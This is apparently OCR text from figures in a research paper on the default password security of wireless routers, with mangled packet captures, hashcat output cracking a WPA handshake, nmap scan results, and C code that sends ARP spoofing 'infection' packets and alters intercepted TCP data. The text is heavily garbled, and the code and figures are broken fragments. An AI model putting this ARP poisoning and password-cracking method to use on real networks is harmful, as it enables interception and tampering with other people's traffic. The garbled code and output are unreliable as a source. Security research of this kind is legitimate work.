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W [200ly & display fitter -~ <{Ctri—/>

@& Roadmap

ac, Btar_mac[B], MAC_

.sremac, Bmymac|

cket.ctherh. type-ETYF scrdoac

Mo, Time Source (Escnopac rph. sennac, Smym
1 @.000000 10.111.111.111 (Escndpac rph.sendp, &TarlP,
2 ©.000343 10.0.0.1 &scndpacket.arph. tarmac, £tar mac C_LE
3 0.030638 10.111.111.111 Escrdoacket.aroh.tario, &ScnlP,
4 9.141029 10.0.0.1
res? = poap t{handle2, {u
[ 5 18884482.116.. 10.111.111.111

6 18884482.116.. 10.9.0.1
7 18884482.134.. 10.111.111.111
8 18884482.145.. 10.111.111.111

cction Packet Sond F

TeamlceCr [s]tatus [plause [blypass [c]h s=socket.s
= Session. s.bind(("

WPA-EAPOL-PEKDF2
p_mybob-hash. hccapx

Time.Started. led Oct 14 16:22:57 2020, (16 secs) attckrmac

- Tine.Estinated...: Fri Oct 16 11:22:29 2020, (1 day, 18 hours)

Teams

Sating:

Type: All-

2424224262474 9] victimmac
(100..00

6461 H/s (9.02as) @ Accel:256 Loops:256 Thr:1 Vec:8
data Pt /3 (0.00%) Digests

01376/1000000000 (0.01%)

®c ¥o o @0 [0 Updsmion /101376 (0.00%)

216/100000000 (0.01%)

1t lifier:9-10 I 768-1024 . -
prtRe=t S ethernetl - victimmac + attckrmac + code
[s]tatus (plause [blypass [clheckpoint [qluit ethernet2 - gatewaymac ttckrmac + code
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nmap &8
Host is up (0.46s latency).
MAC Address: F4.: :0A (Unknown)
Nmap scan report for 172, .60

Host is up (0.0034s latency).
40: :DE (Gifa)
.254
:3E (Mercury)

MAC Address:

Nmap scan report for 172.
Host is up (0.0042s latency).

MAC Address: B4:

Nmap scan report for 172. .58

Nmap done: 256 IP addresses (6 hosts up) scanned in 3.54 seconds

Host 1is up.
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20001005 N4 and POSID « 01" and GHOIEMIR « 1 and WPTR 1 and TREEA < 20000005 and TRAIY «
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if{resl==-1){
mencpy (Ssendpacket . cthorh.dstmac, Btar mac[B], MAC_LEN}; //Destination MAL
moencpy(Ssendpacket . ctherh.sromac, !l_,r:l z] MAC_LEN]); f/Source MAC
sendpacket . ethierh. type=ETYFE_ARP ;scrdpacket. arph. I'ty':-o =HTYFE ; sendpacket. arph
moncpy (Ssendpacket . arph. sennac, !1:(': [.l MAC_LEN); f/Sender MAC
moncpy(Ssendpacket.arph. sendp, &TarlP, sizeocf(TarlP)); //Sendeor IF
rencpy (Sscndpacket.arph. tarnac, Star mac[B], MAC_LEN); /T
mencpy (Escndpacket.arph.tarip, &5endP, sizeof(SenIP)); ffTarget IF
nt res2 - :\:::_’.cr::\:.‘fc:!r:\'\:l:!. {u_char®)&scndpacket, sizoof(packet));

1f{res2 == -1}
7:| HP printf({*Infecticn Packet Send Fail \n");
1 Iil H peap_close(handle2);
rn -1;

I telse if{res2--ej{
x printf{*Infection Packet Zend Swocess Wn®);
H
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if (mememp(&packet read[i], &icejoo_bcd[@], sizeof(icejoo_bcd))==0){
printf("this is ICEJO0 DATA! \b");
memcpy(&sendrepacket . dummy[tcp_len], &packet_icejoo[e], sizeof(packet_icejoo));
//printf("Be IP CKS %@2X %82X \n", sendrepacket 1, sendrepacket.iph.pro[2]);
//printf("Be TCP CKS %02X %82X \n", sendrepacket.dummy[16],sendrepacket.dummy[17]);
u_int16_t tepchecksum = tep_checksum((u_char*)&sendrepacket.etherh.dstmac[@], header-»>caplen);
u_int16_t ipchecksum = ip_checksum({u_char*)&sendrepacket.etherh.dstmac[@]); //check checksum

sendrepacket.iph.pro[1] = (ipchecksum & @xFree)>»>8; //ipcksum
sendrepacket.iph.pro[2]= ipchecksum & exeeFF; //ipcksum2

//printf("AF IP CKS %@2X %@2X \n", sendrepacket.iph.pro[1],sendrepacket.iph.pro[2]);
sendrepacket.dummy[16] = (tcpchecksum & @xFFee)>»8;

sendrepacket.dummy[17] = tcpchecksum & @xe@erF;

//printf("AF TCP CKS %02X %82X \n", sendrepacket.dummy[16],sendrepacket.dummy[17]);
printf("ONE ICEJOO Change Success! \n");

}
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A Study on the Analysis of Initial Password Security Level by
Wireless Router, therehy strengthening the Password Pattern and
Seeurity Level of Wireless Router
JongSik Kim™ JaeHyeon Che” Yeli Choi* JeongHyun Yeom*
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